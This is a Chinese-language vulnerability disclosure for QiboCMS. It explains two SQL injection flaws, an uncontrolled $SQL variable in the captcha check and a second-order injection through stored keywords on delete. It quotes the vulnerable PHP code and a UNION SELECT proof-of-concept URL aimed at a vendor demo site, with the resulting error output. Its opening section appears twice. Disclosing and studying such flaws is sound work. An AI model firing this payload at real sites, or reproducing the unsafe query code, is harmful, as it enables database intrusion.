### 简要描述: 一周4个小时的假期也够苦的。 life5.qibosoft.com 听说一般应用。 注入 && 另外一个问题。 ### 详细说明: ``` if(ereg("^([-_0-9a-zA-Z]+)$",$_GET[jobs])){ //不读数据库 if(is_file(dirname(__FILE__)."/../inc/job/$_GET[jobs].php")){ include(dirname(__FILE__)."/../inc/job/$_GET[jobs].php"); } }elseif(ereg("^([-_0-9a-zA-Z]+)$",$_GET['job'])||ereg("^([-_0-9a-zA-Z]+)$",$_POST['job'])){ //读数据库 require(dirname(__FILE__)."/"."global.php"); if(ereg("^([-_0-9a-zA-Z]+)$",$job)&&is_file(ROOT_PATH."inc/job/$job.php")){ include(ROOT_PATH."inc/job/$job.php"); } } ``` 包含文件进来。 inc/job/ckreg.php 中 ``` }elseif($type=='yzimg'){ if($db->get_one("SELECT * FROM {$pre}yzimg WHERE $SQL imgnum='$name' AND sid='$usr_sid'")){ die("<img src=$webdb[www_url]/images/default/check_right.gif> <font color=red>验证码输入正确!</font>"); }else{ die("<img src=$webdb[www_url]/images/default/check_error.gif>请输入正确的验证码"); } ``` 这里的$SQL并没有初始化, 结合qibocms的全局机制 可以直接控制这个变量 导致注入。 [<img...
### 简要描述: 一周4个小时的假期也够苦的。 life5.qibosoft.com 听说一般应用。 注入 && 另外一个问题。 ### 详细说明: ``` if(ereg("^([-_0-9a-zA-Z]+)$",$_GET[jobs])){ //不读数据库 if(is_file(dirname(__FILE__)."/../inc/job/$_GET[jobs].php")){ include(dirname(__FILE__)."/../inc/job/$_GET[jobs].php"); } }elseif(ereg("^([-_0-9a-zA-Z]+)$",$_GET['job'])||ereg("^([-_0-9a-zA-Z]+)$",$_POST['job'])){ //读数据库 require(dirname(__FILE__)."/"."global.php"); if(ereg("^([-_0-9a-zA-Z]+)$",$job)&&is_file(ROOT_PATH."inc/job/$job.php")){ include(ROOT_PATH."inc/job/$job.php"); } } ``` 包含文件进来。 inc/job/ckreg.php 中 ``` }elseif($type=='yzimg'){ if($db->get_one("SELECT * FROM {$pre}yzimg WHERE $SQL imgnum='$name' AND sid='$usr_sid'")){ die("<img src=$webdb[www_url]/images/default/check_right.gif> <font color=red>验证码输入正确!</font>"); }else{ die("<img src=$webdb[www_url]/images/default/check_error.gif>请输入正确的验证码"); } ``` 这里的$SQL并没有初始化, 结合qibocms的全局机制 可以直接控制这个变量 导致注入。 [<img src="https://images.seebug.org/upload/201410/261616473304ec18777b5ef075dd94d3f260b4eb.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/261616473304ec18777b5ef075dd94d3f260b4eb.jpg) demo测试: http://life5.qibosoft.com/do/job.php?job=ckreg&type=yzimg&SQL=1=1 union select 1%23 数据库连接出错:SELECT * FROM life5_yzimg WHERE 1=1 union select 1# imgnum='' AND sid='1wmqh6ce' The used SELECT statements have a different number of columns 1222请输入正确的验证码 _ 第二个问题 在wei/member/post.php中 ``` elseif($action=="del") { $rsdb=$db->get_one("SELECT B.*,A.* FROM `{$_pre}content` A LEFT JOIN `{$_pre}content_1` B ON A.id=B.id WHERE A.id='$id'"); if($rsdb[fid]!=$fidDB[fid]){ showerr("栏目有问题"); } if($rsdb[uid]!=$lfjuid&&!$web_admin) { showerr("你无权操作"); } $db->query("DELETE FROM `{$_pre}content` WHERE id='$id' "); $db->query("DELETE FROM `{$_pre}content_1` WHERE id='$id' "); $db->query("DELETE FROM `{$_pre}comments` WHERE id='$id' "); keyword_del($id,$rsdb['keywords']); ``` keyword_del($id,$rsdb['keywords']); 这里是出库来的 所以能引入转义符啥的。 ``` function keyword_del($id,$keyword){ global $db,$_pre; if(!$keyword){ return ; } $detail2=explode(" ",$keyword); foreach( $detail2 AS $key=>$value){ if($value){ $db->query("UPDATE `{$_pre}keyword` SET num=num-1 WHERE BINARY `keywords`='$value'"); $_rs=$db->get_one("SELECT kid,num FROM `{$_pre}keyword` WHERE BINARY `keywords`='$value'"); if($_rs[num]<1){ $db->query("DELETE FROM `{$_pre}keyword` WHERE BINARY `keywords`='$value'"); } $kid=$_rs[kid]; $db->query("DELETE FROM `{$_pre}keywordid` WHERE `kid`='$kid' AND id='$id'"); ``` 可以看到 出库的没过滤 再一次带入到查询当中 [<img src="https://images.seebug.org/upload/201410/261630599d83de48a0f911529a42559438695162.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/261630599d83de48a0f911529a42559438695162.jpg) 首先 关键字中写一些特殊字符 然后入库 [<img src="https://images.seebug.org/upload/201410/26163138af7a51bd625e678ea0fbf001abca1197.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/26163138af7a51bd625e678ea0fbf001abca1197.jpg) 然后修改。 在点击确认。 [<img src="https://images.seebug.org/upload/201410/26163218ace27e76c64146f3be4559ba3d66cd03.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/26163218ace27e76c64146f3be4559ba3d66cd03.jpg) 出库 造成注入。 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201410/261616473304ec18777b5ef075dd94d3f260b4eb.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/261616473304ec18777b5ef075dd94d3f260b4eb.jpg)